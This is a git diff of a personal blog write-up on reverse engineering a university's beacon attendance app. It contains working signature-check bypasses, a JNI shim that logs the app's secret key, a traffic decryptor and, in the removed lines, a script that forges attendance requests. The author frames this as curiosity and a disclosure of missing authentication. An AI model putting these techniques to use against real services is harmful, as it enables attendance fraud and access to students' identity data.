This commit is contained in:
Morgan 2024-04-02 13:04:57 +09:00
parent c433433bac
commit a30184e0aa
No known key found for this signature in database
2 changed files with 37 additions and 73 deletions

View File

@ -5,18 +5,19 @@ slug: playing-with-snu-application
description: "Playing with SNU Application" description: "Playing with SNU Application"
--- ---
A lots of school uses beacon-based digital attendance system, and so do our school. It seems relatively hackable, isn't it? So let's dig deep what's going on there and ultimately taking an attendace without actaully attending. Of course its not for real use, it's just for fun! At the beginning I was going to play with our school's official mobile app. I wanted to make Telegram Bot for Mobile ID QR code, so I needed to know how App retrieves QR information. I disassembled app with JADX and tried to analyze the functions, then I got lazy so it was delayed until now.
Spring semester started, and few of my class uses electronic attendance system. It's also called beacon-based attendance. A lot of school uses beacon-based digital attendance system. But thinking about how it will work, it seemed relatively hackable. So I pulled application again and decided to dig deep what's going on there, and fully understand every kind of logic used in attendance system until I can take an attendace without official app.
### 1. APK JADX analyzing ### 1. APK JADX analyzing
I decompiled apk using JADX and renamed every function and classes.(which I understand) But it didnt matter that much because mportant things were obsfucated in JNI. We need to disassemble and analyze JNI functions. I decompiled apk using JADX and tried to rename every function and classes. Since It was first time looking at these Android application logics, it took a long time. By looking at internal logic, I discovered that there wasn't any authentication going on, it just read attributes of beacon (which is very likely to be fixed value), and send it to server. So we didnt need to think about any kind of token-based authentication going on inside iBeacon which I could never analyze or manipulate. Also iBeacon reading thing in Android. We need to look at what it sends to server.
Also, by looking at internal logic, I discovered that there isnt any authentication going on, it just read attributes of beacon which is very likely to be fixed, and send it to server. So actually we didnt need to think about iBeacon reading thing in Android. We need to look at what it sends to server.
### 2. App MITM patch, repackaging. ### 2. App MITM patch, repackaging.
So now we have to analyze its packets to potentially replay it by ourself. So now we have to analyze its packets to potentially replay it by ourself.
Using `apk-mitm` and `uber-apk-signer`, I modified app for use with mitmproxy. Using `apk-mitm` and `uber-apk-signer`, I modified app for use with mitmproxy.
Since app has its own signature verifing on startup and some activity, we have to bypass that verification. Since app has its own signature verifing on startup and "secure actions", we have to bypass that verification.
1. Startup 1. Startup
@ -31,38 +32,37 @@ def response(flow: http.HTTPFlow) -> None:
flow.response.text = json.dumps(data) flow.response.text = json.dumps(data)
``` ```
2. JNI Signature checking. 2. JNI Signature checking.
It uses JNI `libEncryptionKeyStore.so` for additional checkRoot. Name is checkRoot, but what it does is just verifies app's signature with some simple loops and direct comparison. When it doesnt match, it branches into std::terminate.
It uses JNI `libEncryptionKeyStore.so` for additional `checkRoot`. Name is checkRoot, but what it does is just verifies app's signature with some simple loops and comparisons. When it doesnt match, it branches into `std::terminate`.
```asm ```asm
00007c4c if (*(data_3d158 - 0x18) == 0)
00007d44 sub_bd3c(&data_3d158, " …", 0x28)
00007d48 int64_t x0_8 = data_3d158 00007d48 int64_t x0_8 = data_3d158
00007d50 if ((*(x0_8 - 8) & 0x80000000) == 0) 00007d50 if ((*(x0_8 - 8) & 0x80000000) == 0)
00007d58 sub_ba58(&data_3d158) 00007d58 sub_ba58(&data_3d158)
00007d5c x0_8 = data_3d158 00007d5c x0_8 = data_3d158
00007d68 *x0_8 = 0x35 00007d68 *x0_8 = 0x35
...
``` ```
Since original signature is hard-coded into binary, we can either modify binary as our signature. But replacing every single bytes manually would be a nightmare. So I had to do it automatically. To track down where every bytes are assigned, I just sweeped and parsed every single line. I matched binary expressions into opcode and tracked down when and where it stored bytes into string register, and changed it into my signature. ([`armv8.py`](scripts/armv8.py) and [`ubivelox.py`](scripts/ubivelox.py)) Since original signature is hard-coded into binary, we can either modify binary as our signature or just bypass checking function.
This is of course very very inefficient and very limited way, but it worked well for me this time. Its one time script, no one cares about it. Replacing every single bytes manually would be a nightmare. So I had to do it automatically. To track down where every bytes are assigned, I just wrote my own machine codes parser and keeped track of important registers. I matched binary expressions into opcode and tracked down when and where it stored bytes into string register, and changed it into my signature.
This is of course very very inefficient and very limited way, but it worked well for me this time. Its just one time script.
Or we can just bypass `b std::terminate` to `ret`. It doesnt return anything, so just returning should be fine. More simply we can just bypass `b std::terminate` to `ret`. It doesnt return anything, so just returning should be fine.
```asm ```asm
00008308 23040051 sub w3, w1, #0x1
0000830c 43801fb8 stur w3, [x2, #-0x8] 0000830c 43801fb8 stur w3, [x2, #-0x8]
00008310 f8ffff17 b 0x82f0 00008310 f8ffff17 b 0x82f0
00008314 04030094 bl std::terminate --> ret 00008314 04030094 bl std::terminate --> ret
{ Does not return } { Does not return }
``` ```
And final method is creating imposter native library which I destinated to do later anyways.
### 2. JNI Sniffing
### 2. linEncryptionKeyStore.so JNI After bypassing signature check, we can now test various packets sent from application. But as expected, it used additional encryption on every data it sends.
I thought whole encryption will be done on JNI itself, but suprisingly it used it only for retriving secret key.
```java ```java
package com.ubivelox.security; package com.ubivelox.security;
@ -79,7 +79,7 @@ public class EncryptionKeyStore {
} }
``` ```
Important things were all in this JNI. App sends request as `{header: encryped-header, body: body}` and this encryption key is retrieved with `getSecretKeyEx()` as JNI. So I need to somehow extract key from this function. So important things were all in this JNI. App sends request as `{header: encryped-header, body: body}` and this encryption key is retrieved with `getSecretKeyEx()` as JNI. So I need to somehow extract key from this function.
```c ```c
00007124 int64_t var_38 = time(nullptr) 00007124 int64_t var_38 = time(nullptr)
@ -93,7 +93,7 @@ Important things were all in this JNI. App sends request as `{header: encryped-h
0000715c x0_9 = x1_1 - ((x0_7 << 4) - (x0_7 << 2)) 0000715c x0_9 = x1_1 - ((x0_7 << 4) - (x0_7 << 2))
``` ```
First, it calculates index from current time. I didnt know what was going on here exactly, but I learned that multipling `0x2aaaaaab` is to divide number by 3. Well the calculation wasnt 'understandable' for me, so I just moved this into C code and observed the output. Surprisingly, it was fixed. First, it calculates some kind of index from current time. I didnt know what was going on here exactly, but I learned that multipling `0x2aaaaaab` thing is to divide number by 3. Well, the calculation wasnt 'understandable' for me, so I just moved this into C code and observed the output. Surprisingly, it outputted only fixed value.
```asm ```asm
00007180 1f040071 cmp w0, #0x1 00007180 1f040071 cmp w0, #0x1
@ -107,6 +107,8 @@ First, it calculates index from current time. I didnt know what was going on her
They wrote code to do some kind of key rotating with that index above, and that index was fixed, so it was just all useless obsfucation. (but it is more likely that I didnt looked it carefully and it changes daily or randomly) They wrote code to do some kind of key rotating with that index above, and that index was fixed, so it was just all useless obsfucation. (but it is more likely that I didnt looked it carefully and it changes daily or randomly)
+) And some days later it's April. Output index has changed . So it was like rotating every three months?
```asm ```asm
00007204 06078052 mov w6, #0x38 00007204 06078052 mov w6, #0x38
00007208 29078052 mov w9, #0x39 00007208 29078052 mov w9, #0x39
@ -142,13 +144,13 @@ Well it wasnt. After each subroutine it all branched into this part.
It loads x20 into x2 and branches into value of `x2+0x538`. And x20 was saved value of `int64_t* arg1`, which is JNIenv passed from Java. It loads x20 into x2 and branches into value of `x2+0x538`. And x20 was saved value of `int64_t* arg1`, which is JNIenv passed from Java.
And of course I spend a lot of hard time figuring out what this function does. I just couldnt see where that function was, and this was almost first time analyzing JNI. I didnt even knew any Android programming. And of course I spend a lot of hard time figuring out what this function does. I just couldnt see where that function was, and this was almost first time analyzing JNI. I didnt even knew any Android programming.
And I just gave up at this point. I even tried to read all defined functions. And I just gave up at this point. I even tried to read all defined functions, but I couldnt find anything useful.
And fast-forwarding to future, that was just endian converting function...
### 3. JNI sniffing
I had to find other way. And I rememdered about library sniffing. You know, we can sniff and log return values using mocked JNI, which just forwards function calls. We can even bypass `checkRoot` by just not actually calling it. I had to find other way. And I rememdered about library sniffing. You know, we can sniff and log return values using mocked JNI, which just forwards function calls. We can even bypass `checkRoot` by just not actually calling it.
So I just did that. I wrote my own shared object, and named original one ~.orig.so. Now what I should do is to call original fcuntions inside my own shared object. Its like LD_PRELOAD. What a easy task it was. Now I can just get encryption key using `adb logcat`.
```cpp ```cpp
#include "com_ubivelox_security_EncryptionKeyStore.h" #include "com_ubivelox_security_EncryptionKeyStore.h"
#include <dlfcn.h> #include <dlfcn.h>
@ -225,19 +227,11 @@ JNIEXPORT jstring JNICALL Java_com_ubivelox_security_EncryptionKeyStore_getSecre
} }
``` ```
So I just did that. What a easy tasks it was. Now I can just get encryption key using `adb logcat`.
> ``` > ```
> 03-26 11:04:03 E libEncryptionKeyStore: RETURN: 3172XXXXXXXXXXXXXXXXXXXXXXXXXXXX > 03-26 11:04:03 E libEncryptionKeyStore: RETURN: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> 03-26 11:04:03 E libEncryptionKeyStore: RETURN: 3172XXXXXXXXXXXXXXXXXXXXXXXXXXXX
> 03-26 11:04:03 E libEncryptionKeyStore: RETURN: 3172XXXXXXXXXXXXXXXXXXXXXXXXXXXX
> 03-26 11:04:03 E libEncryptionKeyStore: RETURN: 3172XXXXXXXXXXXXXXXXXXXXXXXXXXXX
> ``` > ```
> It was really this easy.. I should've done it from beginning.
### 4 So, I now extracted Encryption Key, and I have all packets containing all informations. Now its time to decrypt messages and build our own requests!
So, I now extracted Encryption Key, and I have all packets containing all informations about attendace. Now its time to decrypt messages and build our own requests!
Messages were encrypted in AES-CBC mode with IV of just 0s, padded with PKCS#5. Messages were encrypted in AES-CBC mode with IV of just 0s, padded with PKCS#5.
@ -248,33 +242,14 @@ elif "https://scard1.snu.ac.kr/" in url:
req = json.loads(flow.request.get_text()) req = json.loads(flow.request.get_text())
data = json.loads(flow.response.get_text()) data = json.loads(flow.response.get_text())
with open(LOG, "a") as f: with open(LOG, "a") as f:
f.write(f"{gettime()}\n") f.write(flow.request.pretty_url))
f.write(flow.request.pretty_url)
f.write("\n------------------\n")
f.write(decrypt(req["header"]).decode()) f.write(decrypt(req["header"]).decode())
f.write("\n------------------\n")
f.write(req["body"]) f.write(req["body"])
f.write("\n------------------\n")
f.write(decrypt(data["header"]).decode()) f.write(decrypt(data["header"]).decode())
f.write("\n------------------\n")
f.write(data["body"]) f.write(data["body"])
f.write("\n------------------\n")
``` ```
And my log looked like this. Everything was clear, but there was `enc` field inside "header" of body (not HTTP header) which was just SHA1 of body content for verifing maybe.
```
09:52:22
https://scard1.snu.ac.kr/eaas/R001
------------------
{"appVer":"3.4.29","authType":"","deviceLocale":"ko_KR","deviceMac":"02:00:00:00:00:00","deviceModel":"SM-G950N","deviceType":"10","deviceUuid":"XXXXXXXX-6D17-3995-AFD9-XXXXXXXXXXX","deviceVer":"9","enc":"bf21xxxxxxxxxxxxxxfa0859e0917b2202f","loginId":"","ssoToken":"","trId":"R001","trVer":"1.0.0","userId":""}
------------------
{}
------------------
{"trVer":"1.0.0","trId":"R001","sysTime":"20240326095222","ssoToken":"","resCd":"000000","resMsg":"","enc":"32942ddxxxxxxxxxxxxxxx7a24b2cf3b"}
```
Everything was clear, and that `enc` was just SHA1 of body content for verifing maybe.
I have all of informations, now I can just send requests to server, retrieve class and lecture infos and do attendance. I have all of informations, now I can just send requests to server, retrieve class and lecture infos and do attendance.
### 5 ### 5
@ -287,35 +262,22 @@ It seemed easy to manipulate, and by knowing this, I can just build my BLE serve
Attendance packets involves encryption twice. Once in other encrypts header, and twice it encrypts BLE beacon data in header. I dont know why they encrypt twice, but there should be some context in it. Attendance packets involves encryption twice. Once in other encrypts header, and twice it encrypts BLE beacon data in header. I dont know why they encrypt twice, but there should be some context in it.
Using all of informations, Using all of informations, now we can save BLE data and send our own attendance, and potentially take an attendance without attending!
```python *But one thing, it sends data without any cookies or authentication about student data. So no need any account information but student id. This made me little bit concerned and I decided to keep analyzing app.*
bleInfo = {
"ROOMID": (BLE_MAC, BLE_MAJ, BLE_MIN, BLERSSI, BLE_UUID),
}
roomInfo = {LECTURE_ID: ROOM_ID}
userId = STUD_ID ### 6. Mobile ID, QR code
lectureId = LECTURE_ID
bleMac, bleMajor, bleMinor, bleRSSI, bleUUID = bleInfo[roomInfo[lectureId]]
timeCustom = datetime.strftime(datetime.now(), "%Y%m%d%H%M%S")
plainble = '[{"bleWorkEndTime":"","bleWorkStartTime":"","bleBattery":"0","bleMacAddress":"' + bleMac + '","bleMajor":"' + bleMajor + '","bleMinor":"' + bleMinor + '","bleRssi":"' + bleRSSI + '","bleSignalPeriod":"0","bleTxPower":"0","bleUuid":"' + bleUUID + '"}]_' + timeCustom + userId + lectureId
bleEnc = enc(plainble.encode()).decode()
plainbody = '{"bleList":null,"bleListEx":"' + bleEnc + '","classSort":"0","lectureId":"' + lectureId + '","userId":"' + userId + '","verifyNum":null,"verifyType":null,"yearTerm":"20241"}'
bodyhash = hashlib.sha1(plainbody.encode()).hexdigest()
plainheader = '{"appVer":"3.1.1","authType":"0","deviceLocale":"ko_KR","deviceMac":"00:00:00:00:00:00","deviceModel":DEVICE_MODEL,"deviceType":"10","deviceUuid":DEVICE_UUID,"deviceVer":"9","enc":"' + bodyhash + '","loginId":"' + userId + '","ssoToken":"","trId":"A002","trVer":"1.0.0","userId":""}'
encheader = enc(plainheader.encode()).decode()
reqbody = json.dumps({"header": encheader,"body": plainbody})
```
And voila! Now we can take an attendance without attending! So going back to original task, retrieving Mobile QR Code with my own.
I should make a platform to register beacon datas and automatically sends attendance request at time, and sell this service to my colleages, right? Since I anaylzed deep about app's behaviour now, I just needed to read through source one more time and it was it. I did exactly same thing but with mobile id, and it was very simmilar except it used raw hex digested form instead of base64 encoded form.
NO. One thing very surprising was that mobile id also didn't used authentication. Mobile ID is used on various identifications simmilar to ID card. This level of personal information is retrieved without any authenticaion but only student id which is very opened. It seems like problem..
Please dont use it in real world. It is easily detectable on server side. I risked testing it for once, but it shouldnt used in real world. NEVER. Anyways we also can retrieve Mobile ID QR code and Profile Picture (ID Picture registered) with our own.
I expected I will do authentication with at least ID and Password, so no authentication was a bit of surprise.
<br>
### Afterthoughts. ### Afterthoughts.
@ -328,3 +290,5 @@ I dont think there is a way to contain key in blackbox even for end user. User h
`mitmproxy` done most important job in this case. Nowadays apps uses certificate pinning, but it was also useless with repackaging... So any problems is all sign verification and I think there is no way to perfectly do it. `mitmproxy` done most important job in this case. Nowadays apps uses certificate pinning, but it was also useless with repackaging... So any problems is all sign verification and I think there is no way to perfectly do it.
Signature verifing is hard. Using Network is dangerous, and using internal logic can be also bypassed. I think only way to prevent this is in operating system, like in iOS it's much more hard to do this kind of job. Signature verifing is hard. Using Network is dangerous, and using internal logic can be also bypassed. I think only way to prevent this is in operating system, like in iOS it's much more hard to do this kind of job.
Also obviously they need to add some kind of authentication. There was SSO token field on their API, but it wasnt used anyway. A LOT of things were done without authentication, at least I can see on my logs. They should fix this. Since its institute, they dont care at all,, so its possible that they all know but ignored.